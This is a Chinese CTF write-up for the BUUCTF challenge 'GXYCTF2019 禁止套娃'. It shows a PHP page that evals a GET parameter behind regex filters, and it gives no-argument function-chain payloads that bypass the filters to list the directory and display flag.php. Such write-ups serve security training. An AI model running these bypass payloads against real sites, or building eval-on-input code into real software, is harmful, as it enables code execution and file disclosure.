BUUCTF-----[GXYCTF2019]禁止套娃

题目

目录扫描,扫到.git泄露,使用工具查看到index.php的源码
在这里插入图片描述

在这里插入图片描述

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

php代码审计

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

过滤了php伪协议

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

无参执行,如scandir()可以scandir(.)不可以

if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

过滤et|na|info|dec|bin|hex|oct|pi|log字符

解决

想要查看当前目录下的文件,scandir(.)括号中必须带点,但是被过滤,所以找输出为点的函数就行

在这里插入图片描述
在这里插入图片描述.

输出array,第一个就是点字符,所以在找一个输出array中第一个数值的函数reset()可以,但是被过滤了

.
在这里插入图片描述
OK,找到后带入

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述

现在求flag.php的值,看到current()函数中相关的函数next():将指针移动到下一个,是否可以利用next()进行读取呢?不行,也需要嵌套,next()是将数组进行移动,对返回值不行,只能另想个办法,flag.php是倒数第二个,如果先将array反向输出,在使用next(),就可以得到flag.php

在这里插入图片描述

print_r(next(array_reverse(scandir(current(localeconv())))));

在这里插入图片描述

只需要将PHP代码读取出来就可以了

highlight_file() 是 PHP 中的一个函数,用于以 HTML 格式高亮显示指定文件的 PHP 代码

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

在这里插入图片描述

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-18 07:32:04       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-18 07:32:04       106 阅读
  3. 在Django里面运行非项目文件

    2024-03-18 07:32:04       87 阅读
  4. Python语言-面向对象

    2024-03-18 07:32:04       96 阅读

热门阅读

  1. flask 继续学习

    2024-03-18 07:32:04       47 阅读
  2. Spring底层核心原理解析

    2024-03-18 07:32:04       40 阅读
  3. 清理ubuntu空间

    2024-03-18 07:32:04       41 阅读
  4. ubuntu(jammy)安装docker步骤

    2024-03-18 07:32:04       41 阅读
  5. A Decade’s Battle on Dataset Bias: Are We There Yet

    2024-03-18 07:32:04       44 阅读
  6. Llama 2: 深入探讨ChatGPT的开源挑战者

    2024-03-18 07:32:04       42 阅读
  7. Spring Cloud - Eureka版-学习理解

    2024-03-18 07:32:04       45 阅读
  8. vue2和vue3的区别

    2024-03-18 07:32:04       44 阅读